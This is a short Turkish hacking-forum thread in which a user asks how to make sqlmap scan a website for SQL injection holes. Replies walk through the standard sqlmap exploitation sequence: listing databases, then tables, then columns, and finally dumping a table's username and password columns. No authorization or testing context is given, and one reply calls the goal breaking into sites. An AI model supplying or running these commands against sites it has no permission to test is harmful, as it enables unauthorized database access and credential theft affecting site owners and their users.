Sqlmap ta daha kapsamlı kodlar varmı?

[hayalet1105]

Sqlmap ta daha kapsamlı kodlar varmı?

 

[olilaraT]

Ne Gibi Ne İstediğini Tam Olarak Açıklar Mısın?

 

[hayalet1105]

Ne Gibi Ne İstediğini Tam Olarak Açıklar Mısın?

Sitenin açığını tarama yapacak bir kod gibi

 

[olilaraT]

Örneğin sqlmap -u "Site adresi'" --dbs bunun gibi mi?

 

[hayalet1105]

Örneğin sqlmap -u "Site adresi'" --dbs bunun gibi mi?

Hocam onları biliyorum

Örneğin sqlmap -u ......com --?
? İşaretinin olduğu kisima bir kod yazilmaliki siteyi tarama yapsın sqlmap açığını bulsun

 

[olilaraT]

-D testsparker --tables
-D testsparker -T tablo --columns
-D testsparker -T tablo -C kullanici,parola --dump


-D: Bu parametre ile veri tabanı adını belirtiyoruz
--tables: Belirttiğimiz veri tabanındaki tablo isimlerini getirmek için
-T: Tablo isimleri de alındıktan sonra kolonlarına ulaşılması istenen tablo adı
-C: İstenilen kolon adı yazılır
--columns: Adı belirtilen tablodaki kolonları getirir
--dump: Kolonlarda yer alan verilerin çıktısını alır.

Bunlar Temel Seviye Olanlar

 

[olilaraT]

İstersen Aşağıdaki Link Yardımıyla Daha Detaylı Komutları da İnceleyebilirsin.

https://www.netsparker.com.tr/blog/web-guvenligi/ileri-seviye-sqlmap-kullanimi

 

[Kaliyeyenibaşladım]

Anladığım kadarıyla sızmayı soruyorsunuz.
sqlmap -u "Site adresi'" --dbs yazdıktan sonra sqlmap -u "Site adresi'" -D tabloadi --tables

 

[SecurityFaTHeR]

Hocam onları biliyorum

Örneğin sqlmap -u ......com --?
? İşaretinin olduğu kisima bir kod yazilmaliki siteyi tarama yapsın sqlmap açığını bulsun

evet var https://www.turkhackteam.org/konular/sqlmap-parametreleri-ve-kullanim-amaclari-sevban035.1490694/ bu konu işinize yarayacaktır

 

[LOEN]

sqlmap diye aratırsanız forumda var

 

[ѕeleɴια]

Linki atıp sql i bulup sömürmesi olarak bahsedersek jsql olabilir. JSQL'in waf bypass scriptleri yok sadece.

 

[YolunYolcusu]

Manuel sql injection yapabilirsiniz veya —help parametresini kullanın. Çıkan sonuçları translateye yapıştırın oradan bakın.
İyi forumlar